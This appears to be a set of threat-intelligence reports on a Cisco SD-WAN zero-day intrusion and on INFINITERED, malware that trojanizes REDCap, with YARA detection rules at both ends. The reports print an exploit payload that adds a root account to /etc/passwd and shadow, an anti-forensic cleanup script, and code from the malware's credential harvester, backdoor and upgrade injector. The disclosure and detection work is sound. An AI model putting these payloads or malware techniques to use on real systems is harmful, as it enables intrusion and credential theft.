        $hash_6  = {0f716ebc}
        $hash_7  = {8e2d79ce}
        $hash_8  = {3ae2a963}
        $hash_9  = {35d26840}
        $hash_10 = {6c41d6bc}
        $hash_11 = {1fdbbb2f}
        $hash_12 = {6ae6578d}
        $hash_13 = {66732be7}
        $hash_14 = {0b113b3d}

    condition:
        uint16(0) == 0x5a4d
        and (
            12 of ($cmd*)
            or 10 of ($hash*)
        )
}

rule G_Hunting_K1MORPHER_1 {
  meta:
    author = "Google Threat Intelligence Group"
    description = "Detects plaintext class and method names associated with the .NET class K1.Morpher"
    hash = "45bb8d1ab2c13bf4354294e13d3c9be15de625d807301905b98462f43f93e893"

  strings:
    $plain_api_1 = "Squirrel3"
    $plain_api_2 = "DecryptArraySimple"
    $plain_api_3 = "DecryptIntSimple"
    $plain_api_4 = "DecryptLongSimple"
    $plain_api_5 = "DecryptFloatSimple"
    $plain_api_6 = "DecryptStringSimple"
    $plain_api_7 = "DecryptDoubleSimple"
    $plain_api_8 = "_squ_ui1"
    $plain_api_9 = "_squ_ui2"
    $plain_api_10 = "_squ_ui3"
    $plain_api_11 = "InjectedSeedCipher"

  condition:
    dotnet.is_dotnet
    and 5 of ($plain_api*)
}

rule G_Hunting_K1MORPHER_2 {
  meta:
    author = "Google Threat Intelligence Group"
    description = "Detects the Squirrel3 RNG implemented within K1.Morpher"
    hash = "45bb8d1ab2c13bf4354294e13d3c9be15de625d807301905b98462f43f93e893"

  strings:
    $squirrel3_code_1 = {
      00 // nop
      03 // ldarg.1
      0A // stloc.0
      06 // ldloc.0
      7E ??????04 // ldsfld <token>
      5A // mul
      0A // stloc.0
      06 // ldloc.0
      02 // ldarg.0
      58 // add
      0A // stloc.0
      06 // ldloc.0
      06 // ldloc.0
      1E // ldc.i4.8
      64 // shr.un
      61 // xor
      0A // stloc.0
      06 // ldloc.0
      7E ??????04 // ldsfld <token>
      58 // add
      0A // stloc.0
      06 // ldloc.0
      06 // ldloc.0
      1E // ldc.i4.8
      62 // shl
      61 // xor
      0A // stloc.0
      06 // ldloc.9
      7E ??????04 // ldsfld <token>
      5A // mul
      0A // stloc.0
      06 // ldloc.0
      06 // ldloc.0
      1E // ldc.i4.8
      64 // shr.un
      61 // xor
      0A // stloc.0
      06 // ldloc.0
      0B // stloc.1
      2B 00 // br.s 40
      07 // ldloc.1
      2A // ret
    }

  condition:
    dotnet.is_dotnet
    and all of them
}

rule G_Hunting_K1MORPHER_3 {
  meta:
    author = "Google Threat Intelligence Group"
    description = "Detects the Squirrel3 RNG implemented within K1.Morpher"
    hash = "391e51354118fb87dc57650cbbd94258c3f7c0a0d6868040b7a473ad626ff25e"

  strings:
    $squirrel3_code_1 = {
      03 // ldarg.1
      7E??????04 // ldsfld <token>
      5A // mul
      02 // ldarg.0
      58 // add
      25 // dup
      1E // ldc.i4.8
      64 // shr.un
      61 // xor
      7E??????04 // ldsfld <token>
      58 // add
      25 // dup
      1E // ldc.i4.8
      62 // shl
      61 // xor
      7E??????04 // ldsfld <token>
      5A // mul
      25 // dup
      1E // ldc.i4.8
      64 // shr.un
      61 // xor
      2A // ret
    }

  condition:
    dotnet.is_dotnet
    and all of them
}

Acknowledgements

This analysis would not have been possible without the assistance of Gabby Roncone for technical review. We also appreciate GitHub for their collaboration against this threat.

Written by: Chester Sng, Pete Boonyakarn, Logeswaran Nadarajan, Lukasz Lamparski

Introduction 

In early 2026, Mandiant identified a threat actor targeting SD-WAN infrastructure at a service provider. After gaining initial access, the threat actor exploited a zero-day vulnerability (CVE-2026-20245) in Cisco Catalyst SD-WAN to escalate privileges from a compromised administrative account to root-level access.

The vulnerability stems from the device’s file upload feature lacking the ability to properly filter malicious data.

Throughout the intrusion, to maintain operational security and avoid detection, the threat actor consistently employed anti-forensic techniques, selectively deleting and restoring system configuration files that were modified during their activities.

Key Observations

• Rogue Peering and Credential Manipulation: In March 2026, a threat actor established initial access via unauthorized peering connections to facilitate Secure Shell (SSH) access. The threat actor used that access to manipulate default account passwords to evade detection.

• Exploitation of CVE-2026-20245: Subsequently, the attacker leveraged a zero-day privilege escalation vulnerability (now tracked as CVE-2026-20245) in Cisco Catalyst SD-WAN Manager to gain root-level access via a malicious CSV upload.

• Extensive Anti-Forensic Cleanup: The threat actor deleted malicious files, reverted configuration changes, and executed a validation script to ensure indicators are purged.

What is SD-WAN?

Traditional Wide Area Networks (WANs) rely heavily on physical, proprietary hardware routers to direct traffic. This model is often rigid, complex to scale, and struggles to handle the demands of modern cloud computing.

Software-Defined Wide Area Network (SD-WAN) solves this by decoupling the network’s management and control logic from the underlying physical hardware. Instead of configuring individual routers one by one, a centralized software controller is used to orchestrate the entire network from a single dashboard. SD-WANs are typically used by highly distributed organizations, such as banks, retail corporations, technology services, and healthcare providers, to securely connect multiple remote branch locations directly to central cloud services.

What is Peering?

Within an SD-WAN fabric, peering is the logical process of establishing a trusted, authenticated relationship between distinct network components, such as edge routers, regional hubs, and central controllers.

Before any data can be securely transmitted across the network fabric, these devices must perform a digital handshake. During the peering phase, devices mutually authenticate each other using cryptographic certificates. Once identity and trust are verified, they exchange underlying routing tables and automatically build secure tunnels to facilitate safe data transport. 

Additional Vulnerabilities in Cisco Catalyst SD-WAN Controllers

CVE-2026-20127 and CVE-2026-20182 are critical vulnerabilities recently disclosed by Cisco that affect the peering authentication mechanism for Cisco Catalyst SD-WAN controllers. Both vulnerabilities could allow an unauthenticated, remote attacker to bypass authentication and obtain administrative privileges.

Intrusion Campaign Overview

Initial Access Via Rogue Peering Connections

From late 2025 to January 2026, Mandiant observed multiple unauthorized peering connections to the victim’s SD-WAN Manager devices. It is possible that these connections occurred due to the exploitation of CVE-2026-20127 or CVE-2026-20182 as the vulnerabilities were not disclosed, and patches were not available during this period.

Beginning in March 2026, further unauthorized peering connections were seen on a device running a software version unaffected by CVE-2026-20127. However, Cisco confirmed that these connections did not leverage CVE-2026-20182 either, and could instead be using stolen certificate material from a previous compromise of the same device.

It is unclear if the same threat actor was responsible for the late 2025 to January 2026 and March 2026 rogue peering activity. 

Successful Authentications By Altering The Admin Account Password

In March 2026, the threat actor established new rogue peer connections and successfully authenticated to the SD-WAN Manager device via SSH using the vmanage-admin account on the same victim devices.

Once authenticated via SSH, the threat actor executed commands to change the password of the default admin account. The threat actor authenticated directly to the SD-WAN Manager web application interface using the admin account and exfiltrated configurations of the SD-WAN fabric.

[2026-03-07T01:31:48.464Z]"POST /j_security_check HTTP/1.1" 200 - 31 0 1288 - "<Threat Actor Control Plane IP>" "Mozilla/5.0" "<Log ID>" "<SD-WAN Manager IP>:8443" "127.0.0.1:8080"
[2026-03-07T01:31:49.017Z] "GET /dataservice/system/device/vedges HTTP/1.1" 200 - 0 10114 127 - "<Threat Actor Control Plane IP>" "Mozilla/5.0" "<Log ID>" "<SD-WAN Manager IP>:8443" "127.0.0.1:8080"
[2026-03-07T01:31:50.017Z] "GET /dataservice/system/device/controllers HTTP/1.1" 200 - 0 15815 100 - "<Threat Actor Control Plane IP>" "Mozilla/5.0" "<Log ID>" "<SD-WAN Manager IP>:8443" "127.0.0.1:8080"
[2026-03-07T01:31:51.925Z] "GET /dataservice/template/config/attached/<Device ID> HTTP/1.1" 200 - 0 3732 18 - "<Threat Actor Control Plane IP>" "Mozilla/5.0" "<Log ID>" "<SD-WAN Manager IP>:8443" "127.0.0.1:8080"
[2026-03-07T01:31:52.493Z] "GET /dataservice/template/config/running/<Device ID> HTTP/1.1" 400 - 0 134 19 - "<Threat Actor Control Plane IP>" "Mozilla/5.0" "<Log ID>" "<SD-WAN Manager IP>:8443" "127.0.0.1:8080"
<...>

Figure 1: Threat actor authentication and configuration extraction

The threat actor subsequently used their active vmanage-admin session to change the password of the admin account back to its original state before terminating their active session. This activity was likely performed to reduce the probability of detection by an administrator trying to log into the device during day-to-day operations.

The vmanage-admin and admin accounts are default accounts on Cisco Catalyst SD-WAN controllers that have different privileges, but neither possesses root shell access.

Exploitation of CVE-2026-20245 to Escalate Privileges

Mandiant observed that in April 2026, after establishing an SSH session with the admin account, the threat actor exploited CVE-2026-20245 by executing the following command to upload a file named evil_tenant.csv:

request tenant-upload tenant-list /home/admin/evil_tenant.csv vpn 0

Figure 2: Malicious file upload

CVE-2026-20245, a vulnerability reported to Cisco by Mandiant, exists in the command-line interface (CLI) of Cisco Catalyst SD-WAN Controllers that could allow an authenticated, local attacker to execute arbitrary commands as root by supplying a crafted file to the affected system.

The evil_tenant.csv file contains the exploit payload. The following code block (Figure 3) shows a snippet of the exploit which attempts to append malicious entries to the system's /etc/passwd and /etc/shadow files.

if [ -e /usr/share/viptela/vbond_vsmart_tenant_list ] && grep -q '<redacted>' /usr/share/viptela/vbond_vsmart_tenant_list 2>/dev/null; then
    echo absent > /home/admin/.orig_vbond_vsmart_tenant_list.state;
elif [ -e /usr/share/viptela/vbond_vsmart_tenant_list ]; then
    echo present > /home/admin/.orig_vbond_vsmart_tenant_list.state;
    cp -a /usr/share/viptela/vbond_vsmart_tenant_list /home/admin/.orig_vbond_vsmart_tenant_list;
else
    echo absent > /home/admin/.orig_vbond_vsmart_tenant_list.state;
fi;
cp -a /etc/passwd /home/admin/.orig_passwd;
cp -a /etc/shadow /home/admin/.orig_shadow;
grep -q '^troot:' /etc/passwd || echo 'troot:x:0:0:root:/root:/bin/bash' >> /etc/passwd;
grep -q '^troot:' /etc/shadow || echo 'troot:<redacted>:19000:0:99999:7:::' >> /etc/shadow

Figure 3: Appending malicious entries

Through this command, the threat actor achieved the following:

• Backed up the original vbond_vsmart_tenant_list configuration file, which would have been overwritten by the contents of evil_tenant.csv during the exploit. This backup was likely created to allow the actor to restore the file later, ensuring the SD-WAN Manager device did not load an invalid configuration that might alert administrators.

• Created backups of the original /etc/passwd and /etc/shadow files.

• Created a user account named troot with full root privileges.

Mandiant subsequently observed the threat actor accessing this new troot account from the admin account via the su (substitute user) command.

Anti-Forensic Techniques

Mandiant identified that the threat actor deleted all files they created, including evil_tenant.csv, and restored any system configurations they modified. These deletion and modifications were done to minimize their forensic footprint. 

In addition to this, Mandiant also observed execution of a validation script, which checks if indicators of the threat actor's activities are removed.

for f in /home/admin/evil_tenant.csv /home/admin/.orig_vbond_vsmart_tenant_list /home/admin/.orig_vbond_vsmart_tenant_list.state /home/admin/.orig_passwd /home/admin/.orig_shadow; 
    do if [ -e "$f" ]; 
        then echo PRESENT:$f; ls -ld "$f"; 
        else echo ABSENT:$f; 
    fi; 
done; 

if grep -q '^troot:' /etc/passwd; 
    then echo PRESENT:/etc/passwd:troot; 
    else echo ABSENT:/etc/passwd:troot; 
fi; 

if [ -e /usr/share/viptela/vbond_vsmart_tenant_list ]; 
    then echo PRESENT:/usr/share/viptela/vbond_vsmart_tenant_list; ls -ld /usr/share/viptela/vbond_vsmart_tenant_list; 
    else echo ABSENT:/usr/share/viptela/vbond_vsmart_tenant_list; 
fi

Figure 4: Validation script

This script checks for the presence of the following:

• Threat actor-created files in /home/admin.

• troot account in the passwd and shadow files.

• vbond_vsmart_tenant_list, and if it exists, inspect information about the file. This is likely to check if the original file was restored.

Outlook and Implications

This campaign underscores the living off the edge paradigm, where threat actors prioritize the compromise of network appliances to bypass traditional security perimeters. As organizations increasingly adopt software-defined networking, the orchestrators managing these environments become primary targets. These devices offer a black box environment for threat actors: they often lack the telemetry required for deep forensic analysis, and their role as a central control plane provides a stealthy platform for persistent, wide-scale access to internal enterprise traffic. For state-sponsored actors, the ability to exploit zero-day vulnerabilities in these platforms remains a premier vector for long-term strategic intelligence collection. Google Threat Intelligence Group (GTIG) has closely tracked and reported on increased zero-day exploitation of edge devices over the past several years.

Remediation and Hardening

• Perform IOC Sweep / Threat Hunting: Collect logs and diagnostic data from SD-WAN devices by executing request admin-tech command on all control-plane components. Scan these collections for known IOCs and execute threat hunts focused on the TTPs identified in the Detections and Hunting section of this blog post. If true positive hits are observed, perform a full investigation.

• Manual Remediation Support: As per Cisco’s guidance, any confirmed indicators of compromise or suspicious activity should be forwarded to Cisco Technical Assistance Center (TAC) for comprehensive review and remediation assistance.

• Prioritize Immediate Patching and Upgrades: Organizations must prioritize upgrading Cisco Catalyst SD-WAN Manager to fixed software releases, specifically versions 20.9.9.2, 20.12.7.2, 20.15.4.5, 20.15.5.3, 20.18.3.1, 26.1.1.2, or later, to remediate CVE-2026-20245.

• Implement Cisco Catalyst SD-WAN Hardening and Logging Guidelines: Organizations should follow the comprehensive security best practices and configuration standards detailed in the Cisco Catalyst SD-WAN Hardening Guide. This guide provides a robust defense-in-depth framework for securing all SD-WAN components including the management, control, and data planes against unauthorized access.

Indicators of Compromise (IOCs)

To assist the wider community in hunting and identifying activity outlined in this blog post, we have included indicators of compromise (IOCs) in a free GTI Collection for registered users.

Network Indicators

File Indicators

Due to the threat actor's extensive anti-forensic cleanup, several files associated with this intrusion were overwritten or deleted. However, forensic remnants of the malicious CSV payload were recovered.

Detections and Hunting

Mandiant encourages organizations to conduct proactive threat hunts focused on the tactics, techniques, and procedures (TTPs) outlined in this report to identify activity that may otherwise blend into routine operations. Because certain indicators of compromises may mirror legitimate administrative actions, it is critical to assess these observations against the established network posture to minimize false positives.

As per Cisco’s guidance, any suspicious activity or confirmed IOCs should be forwarded to the Cisco TAC for comprehensive review and assistance.

Unauthorized SSH Connections as vmanage-admin

Monitor authentication logs (/var/log/auth.log) for logins originating from unexpected external IP addresses using the vmanage-admin user account.

Jan 01 07:58:00 vManage sshd[20766]: Accepted publickey for vmanage-admin from <Threat Actor IP> port 48373 ssh2: RSA SHA256:<redacted>
Jan 01 08:01:00 vManage sshd[25178]: Accepted keyboard-interactive/pam for admin from <Threat Actor IP> port 60552 ssh2

Figure 5: SSH from unexpected origins

Suspicious Password Change Events

Audit password changes in /var/log/auth.log targeting the admin account in quick succession, particularly where credentials are set and subsequently reverted.

Jan 01 08:00:00 vManage usermod[12345]: change user 'admin' password
Jan 01 08:15:00 vManage usermod[12345]: change user 'admin' password

Figure 6: Password changes

Defenders should also inspect rollback files present within /var/confd/rollback/ for configuration delta commits targeting user passwords:

# Created by: vmanage-admin
# Date: 2026-01-01 08:00:00
# Via: netconf
# Type: delta
# Label: 
# Comment: 
# No: 10000
# TransactionId: 12345678
# Hostname: vManage

system {
    aaa {
        user admin {
password <redacted>;
        }
     }
 }

Figure 7: Rollback files

Suspicious Execution of the su Command

Audit terminal command history and system logs (/var/log/auth.log) for successful switch user (su) executions from the admin account to unauthorized accounts (e.g., troot).

Jan 01 08:03:00 vManage su[24289]: Successful su for troot by admin

Figure 8: su logins

Exploitation of CVE-2026-20245

Monitor script logs (/var/log/scripts.log) for execution anomalies involving unauthorized execution of vconfd_script_upload_tenant_list.sh.

Jan 01 08:01:05 vManage vScript: Tenant list upload per vsmart serial number: /usr/bin/vconfd_script_upload_tenant_list.sh -cli path /home/admin/evil_tenant.csv vpn 0
Jan 01 08:01:05 vManage vScript: uploading tenant list via VPN 0 true
Jan 01 08:01:05 vManage vScript: Copying ... /home/admin/evil_tenant.csv via VPN 0
Jan 01 08:01:05 vManage vScript: Successfully loaded the tenant placement file

Figure 9: Execution anomalies

Defenders can also query active command execution history using show history within the Viptela CLI for the specific administrative upload commands:

01-01 08:01:05 -- request tenant-upload tenant-list /home/admin/evil_tenant.csv vpn 0

Figure 10: Command execution

Google Security Operations (SecOps)

Google SecOps customers have access to these broad category rules and more under the Mandiant Intel Emerging Threats rule pack. The activity discussed in the blog post is detected in Google SecOps under the rule names:

• Privileged Account Append to Passwd Database

• Grep Privileged User Account Discovery in Passwd or Shadow

• Hidden Backup of Sensitive System Files

• Suspicious Copy from Usr Share to User Hidden Directory

Acknowledgements

Mandiant would like to thank the Cisco Product Security Incident Response Team (PSIRT) for their collaboration and partnership throughout the coordinated disclosure process.

Written by: Patrick Whitsell, John McGuiness

Google Threat Intelligence Group (GTIG) has identified a sophisticated campaign attributed to UNC6508, a People's Republic of China (PRC)-nexus threat actor, targeting institutions in the North American academic, medical, and military research community. While remaining undetected for over a year, the threat actor compromised externally facing web applications, deployed bespoke malware, pivoted to sensitive internal systems, and abused enterprise administrative tools for covert data exfiltration. The threat actor had broad collection aspirations, including sensitive defense intelligence related to national security, Indo-Pacific command operations, artificial intelligence, uncrewed vehicle systems, cyber offensive programs, and medical research. 

GTIG disrupted the malicious infrastructure associated with this threat actor. Working with Mandiant Consulting, we notified the affected organizations upon detection and offered our assistance with remediation. We have updated Google Security Operations (SecOps) with relevant intelligence, enabling defenders to identify indicators of compromise (IOCs) within their networks. We encourage all users and customers to follow recommended best practices for third-party Identity Providers (IdP) and ensure 2-Step Verification (2SV) is enabled across all accounts.

Campaign Overview

The campaign targeted a diverse set of national, state, and private medical entities. These organizations comprise world-renowned clinical providers, premier academic centers, North American military health institutions, professional advocacy groups, and health regulatory bodies. Their research areas span a broad spectrum of modern medicine, from molecular discovery and clinical drug trials to state-level public health policy and military readiness. They employ thousands of people with a combined research budget in the billions of dollars.

The earliest known compromise occurred in September 2023, after which GTIG observed a consistent operational pattern. The threat actor exploited externally facing REDCap (Research Electronic Data Capture) servers and deployed custom malware named INFINITERED to capture legitimate REDCap login credentials. Then, after remaining undetected for more than a year, UNC6508 used the captured credentials to access the victim’s internal network. The threat actor was also observed using the novel technique of manipulating domain content compliance rules for data exfiltration. Lastly, UNC6508 used sophisticated operations security (OpSec) techniques to conceal and obfuscate their activity. 

GTIG collaborated closely with Mandiant Consulting, the FLARE team, and Workspace Security on this effort to combine our threat intelligence, incident response, and reverse engineering expertise across Google Cloud. This enabled us to develop a complete picture of the attack lifecycle from initial compromise to complete mission. GTIG also extends thanks to the affected organizations for their cooperation and the valuable post-exploitation insights they shared.

Prevention, Detection, and Remediation

GTIG recommends defenders implement the following security measures, across all Cloud enterprise platforms, to mitigate this threat:

• Secure Admin Accounts: Enforce phishing-resistant 2-Step Verification (2SV) for enterprise administrator accounts, including through third-party Identity Providers.

• Advanced Protection: Consider enrolling highly sensitive accounts in our Advanced Protection Program for additional safeguards against malware and phishing attacks.

• Prevent Cookie Theft: Enforce Device Bound Session Credentials (DBSC) with CAA for highly sensitive accounts on Windows devices to prevent session hijacking.

• Monitor Audit Logs: Enable Audit logs to analyze, monitor, and alert on changes to your data.

• Control Data: Define Data Loss Prevention (DLP) rules to block or alert on external sharing of sensitive data.

• Audit Compliance Rules: Review Admin audit logs and content compliance rules for unauthorized modifications.

• SIEM Coverage: Consider using Google Security Operations (SecOps) and ensure Workspace logs are included in your Security Information and Event Management (SIEM) pipeline.

• Password Protection: Use Chrome Enterprise Password Leak Detection to alert when potentially compromised password use is detected.

• Patch REDCap: Fully updated REDCap installations to the latest software version and ensure older versions are completely removed.

• Monitor for INFINITERED: Scan REDCap servers for the presence of INFINITERED using the provided YARA rule and IOCs.

Medical Research University Compromise

In September 2023, a REDCap server belonging to a North American medical research institution was compromised. Continuing activity was observed through November 2025. During this time period, UNC6508 carried out the following attack chain.

1. Exploit the REDCap server.

2. After three months, deploy the INFINITERED malware.

3. INFINITERED stealthily records credentials, and persists through upgrades, for more than a year.

4. Pivot to a domain admin account.

5. Add the malicious content compliance rule.

6. Silently “BCC-forward” matched emails to a threat actor-controlled account.

Initial Access: REDCap Exploitation and INFINITERED

UNC6508 consistently targets REDCap servers. REDCap is a web-based software platform designed specifically for building and managing online databases and surveys, in compliance with regulations for medical and scientific research. It is a commonly used platform in the North American medical research community.

GTIG was not able to confirm how UNC6508 initially gained access to the REDCap server. By design, REDCap allows administrators to continue running legacy software side-by-side with the current version. UNC6508 was observed probing for these vulnerable legacy versions on several target organizations’ REDCap systems. This highlights not only the increasing importance of rapidly applying security patches, but also promptly removing older software versions to prevent downgrade attacks.

Upon establishing a foothold on the REDCap server, UNC6508 performed internal reconnaissance and credential discovery to obtain database and service account credentials. The threat actor also deployed a web shell named "help.php", which maintained persistence and functioned as an uploader in the REDCap application.

INFINITERED Analysis

Three months after the initial compromise, UNC6508 deployed a custom malware payload tracked as INFINITERED. This malware implements its functionality across three distinct modular components by trojanizing legitimate REDCap system files.

• Dropper and Upgrade Interception 

• Credential Harvester

• Backdoor, with command and control (C2)

GTIG discovered multiple organizations across the US and Canada compromised with INFINITERED. All of these organizations were promptly notified of the compromise upon detection and offered our assistance with remediation.

Dropper and Upgrade Interception

To maintain persistent remote access, INFINITERED injects its code into new REDCap versions by intercepting the upgrade process. This capability is embedded into the legitimate REDCap upgrade system file. INFINITERED performs this code injection following these steps.

1. Read the current software version, which includes the INFINITERED code. 

2. Extract the malicious logic using GUID delimiter b49e334d-9c01-463e-9bc5-00a6920fb66e. 

3. Inject backdoor code into the custom hooks configuration file. 

4. Inject credential harvester code into the authentication system file.

5. Inject the extracted code from step 2 into the upgrade system file.

In Elastic Beanstalk environments, INFINTERED performs additional steps to ensure persistence in cloud deployments.

// b49e334d-9c01-463e-9bc5-00a6920fb66e
...
$file_upgrade = $base_path."Upgrade.php"; 
$file_content_upgrade = $zip->getFromName($file_upgrade); // new upgrade file content
$file_content_upgrade_local = file_get_contents(__FILE__); // Contents of the current file 
...
if ($file_content_upgrade !== false) {
    // Base64 GUID delimiter
    $dummy_marker = base64_decode('YjQ5ZTMzNGQtOWMwMS00NjNlLTliYzUtMDBhNjkyMGZiNjZl');
    $pattern = "/$dummy_marker(.*?)$dummy_marker/s";
    if (preg_match($pattern, $file_content_upgrade_local, $matches)) {
        $extracted_text = $matches[0];
        $search_content = "// If running on AWS Elastic Beanstalk"; 
        $upgrade_decode = "// ".$extracted_text."\r\n\t\t".$search_content;
        $new_content = str_replace($search_content, $upgrade_decode, $file_content_upgrade);
        $zip->deleteName($file_upgrade);
        $zip->addFromString($file_upgrade, $new_content);
    }
}
$zip->close();
...
// b49e334d-9c01-463e-9bc5-00a6920fb66e

Code Snippet 1: Intercept upgrades and inject INFINITERED code

Credential Harvester

INFINITERED injects a credential harvester into the authentication system file to compromise user accounts. This component of the malware captures usernames and passwords submitted via POST requests during the login process. The credentials are encrypted using the environment’s default encryption routine and hidden inside a local REDCap sessions database table with the string “xc32038474a” prefixed to the Session ID.

$currentUTC = gmdate('Y-m-d H:i:s');
$str = encrypt($currentUTC . '[::]' . $_POST['username'] . '[::]' . $_POST['password']);
include dirname(__FILE__, 3) . DIRECTORY_SEPARATOR . 'redcap_connect.php';
$expiration_timestamp = strtotime("+60 days", strtotime($currentUTC));
$session_id = 'xc32038474a'.substr(bin2hex($currentUTC), -20);
$session_sql = "INSERT INTO [REDACTED] ([REDACTED],[REDACTED],[REDACTED]) VALUES ('$session_id', '$str', FROM_UNIXTIME($expiration_timestamp))";
@$rc_connection->query($session_sql);

Code Snippet 2: Hide credentials in a legitimate database table

Backdoor

INFINITERED also has backdoor functionality it establishes in the custom hooks system file inside the update package, specifically within a function that executes on every REDCap page load. This global hook ensures the backdoor runs on every page load. INFINITERED looks for a specific HTTP Cookie parameter named "REDCAP-TOKEN" and a cookie value starting with a specific plaintext string. If these conditions are present, the malware strips the prefix and decrypts the remaining payload with the environment's default decryption routine.

$cookieValue = $_COOKIE['REDCAP-TOKEN'];
if ($cookieValue) {
    $magic_flag = '[REDACTED]'; // Cookie prefix
    ...
    // Decrypt message if cookie prefix is found
    $key = '[REDACTED]';
    $req_data = substr($cookieValue, strlen($magic_flag));
    $req_data = decrypt($req_data, $key);

Code Snippet 3: Decrypting commands to INFINITERED

If the decrypted payload is empty, the malware acts as a beacon, returning system details such as the OS, PHP version, working directory, and database credentials including the hostname, username, password, and salt. When non-empty, the malware will parse the payload for command tags, which the threat actor can use to execute shell commands, run raw SQL queries, and transfer files.

Supported Commands

INFINITERED is capable of executing the following commands.

Domain Content Compliance Rule Abuse

More than a year after the initial compromise, UNC6508 used overlapping credentials, harvested from REDCap, to access an administrator account. This underscores the challenge and importance of securing systems holistically. Defenders should enable 2-Step Verification (2SV) and ensure unique credentials are used across different security domains to mitigate credential replay attacks.

UNC6508 then leveraged content compliance rules, a legitimate feature present in many cloud-based enterprise productivity suites, to exfiltrate specific email communications. Administrators can create these rules to manage email messages that contain content matching predefined sets of words, phrases, text patterns, or numerical patterns. By default, compliance rules apply to all users in an organizational unit. The use of compliance rules for data exfiltration is a novel technique not previously observed with PRC-nexus threat actors.

Specifically, UNC6508 created a compliance rule named "Patroit" [sic] that used regular expressions to match on keyword and email address patterns in sent or received emails. Matches were silently BCC-forwarded to a threat actor-controlled Gmail address, BebitaBarefoot774[@]gmail[.]com, providing a covert and continuous stream of exfiltrated data. Upon discovery, GTIG disabled the Gmail account to prevent further data exfiltration.

The patterns used in the “Patroit” compliance rule suggest strategic intelligence collection targeting geo-strategic policy, military strategy, advanced technology, and medical research. The patterns also include professional email addresses and phone numbers for members of organizations in these spaces. Several of the terms applied have spelling errors, suggesting the list was manually maintained. 

This ambitious scope of intelligence collection from UNC6508 may suggest a broader range of targets beyond the identified victims in the medical research community. GTIG assesses these collection priorities are aligned with the strategic interests of the People's Republic of China. 

While most of the terms relate to defense and technology, the terms including medical research facilities, and the specific pathogen “Chikungunya,” stand out from the others. Chikungunya is a viral disease transmitted to humans from mosquitos and was responsible for an outbreak in China's Guangdong province beginning in July 2025.

Operations Security (OpSec)

GTIG observed UNC6508 use sophisticated and meticulous OpSec techniques to conceal their activities from defenders.

UNC6508 relied heavily on Obfuscation (OBF) networks. This strategy, now frequently employed by PRC-nexus actors, involves routing traffic from offensive operations through a mix of compromised routers, residential proxies, Virtual Private Servers (VPS), and other devices.  

This operation used exclusively US-based OBF network IP addresses to access both the "BebitaBarefoot774[@]gmail[.]com" account and when replaying legitimate credentials to access the compromised enterprise administrator account. Additional OpSec techniques were also used, such as obtaining the threat actor-controlled Gmail account through a mass creation service and dedicating it exclusively to email data exfiltration.

By maintaining a high level of OpSec, UNC6508 significantly complicates the efforts of defenders to identify malicious patterns, establish accurate attribution, and map the threat actor’s infrastructure.

Attribution

GTIG attributes this activity to UNC6508 with high confidence. This assessment is based on infrastructure overlaps between campaigns, the consistent use of the INFINITERED backdoor on REDCap servers, and the specific targeting of medical research and defense sectors. We assess UNC6508 is an espionage motivated threat cluster, with priorities that align with historic PRC state-sponsored espionage trends and intelligence collection requirements.

Indicators of Compromise (IOCs)

To assist the wider community, we have also included a list of indicators in a GTI Collection for registered users.

Network Indicators

File Indicators

Host Indicators

MITRE ATT&CK Mapping

Detections

YARA Rules

rule G_Backdoor_INFINITERED_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
	strings:
		$magic_flag = "ej671a16i7fd8202nu6ltfg5p6x7u"
		$magic_flag_base64 = "ej671a16i7fd8202nu6ltfg5p6x7u" base64
		$marker = "b49e334d-9c01-463e-9bc5-00a6920fb66e"
		$marker_base64 = "YjQ5ZTMzNGQtOWMwMS00NjNlLTliYzUtMDBhNjkyMGZiNjZl"
		$s1 = "substr($cookieValue, strlen($magic_flag));"
		$s2 = "getcwd(), php_uname(), phpversion(), $_SERVER['SERVER_SOFTWARE']"
		$s3 = "'data' => encrypt($data, $key)"
		$s4 = "$data = shell_exec($command);"
		$s5 = "move_uploaded_file($tmpPath, $fileName)"
		$s6 = "$data = implode('|', $fields)"
		$b_s1 = "substr($cookieValue, strlen($magic_flag));" base64
		$b_s2 = "getcwd(), php_uname(), phpversion(), $_SERVER['SERVER_SOFTWARE']" base64
		$b_s3 = "'data' => encrypt($data, $key)" base64
		$b_s4 = "$data = shell_exec($command);" base64
		$b_s5 = "move_uploaded_file($tmpPath, $fileName)" base64
		$b_s6 = "$data = implode('|', $fields)" base64
		$t1 = "(isset($_POST['username']) && $_POST['password'])"
		$t2 = "INSERT INTO redcap_sessions (session_id, session_data, session_expiration) VALUES ('$session_id', '$str', FROM_UNIXTIME($expiration_timestamp))"
		$t3 = "encrypt($currentUTC . '[::]' . $_POST['username'] . '[::]' . $_POST['password']);"
		$t4 = "redcap_connect.php"
		$b_t1 = "(isset($_POST['username']) && $_POST['password'])" base64
		$b_t2 = "INSERT INTO redcap_sessions (session_id, session_data, session_expiration) VALUES ('$session_id', '$str', FROM_UNIXTIME($expiration_timestamp))" base64
		$b_t3 = "encrypt($currentUTC . '[::]' . $_POST['username'] . '[::]' . $_POST['password']);" base64
		$b_t4 = "redcap_connect.php" base64
		$u1 = "$zip->open($filename) === TRUE)"
		$u2 = "$hooks_encode ="
		$u3 = "$auth_encode ="
		$u4 = "$file_content_hooks = $zip->getFromName($file_hooks);"
		$u5 = "$file_content_auth = $zip->getFromName($file_auth);"
		$u6 = "$file_content_upgrade = $zip->getFromName($file_upgrade);"
		$u7 = "str_replace($search_content, $hooks_decode, $file_content_hooks);"
		$u8 = "str_replace($search_content, $upgrade_decode, $file_content_upgrade);"
		$u9 = "str_replace($search_content, $auth_decode, $file_content_auth);"
		$b_u1 = "$zip->open($filename) === TRUE)" base64
		$b_u2 = "$hooks_encode =" base64
		$b_u3 = "$auth_encode =" base64
		$b_u4 = "$file_content_hooks = $zip->getFromName($file_hooks);" base64
		$b_u5 = "$file_content_auth = $zip->getFromName($file_auth);" base64
		$b_u6 = "$file_content_upgrade = $zip->getFromName($file_upgrade);" base64
		$b_u7 = "str_replace($search_content, $hooks_decode, $file_content_hooks);" base64
		$b_u8 = "str_replace($search_content, $upgrade_decode, $file_content_upgrade);" base64
		$b_u9 = "str_replace($search_content, $auth_decode, $file_content_auth);" base64
		$filemarker = "<?php"
	condition:
		filesize < 1MB and $filemarker in (0 .. 128) and (((any of ($magic*) or any of ($marker*)) and (any of ($s*) or any of ($t*) or any of ($u*))) or 4 of ($s*) or 4 of ($b_s*) or all of ($t*) or all of ($b_t*) or 6 of ($u*) or 6 of ($b_u*))
}

Introduction

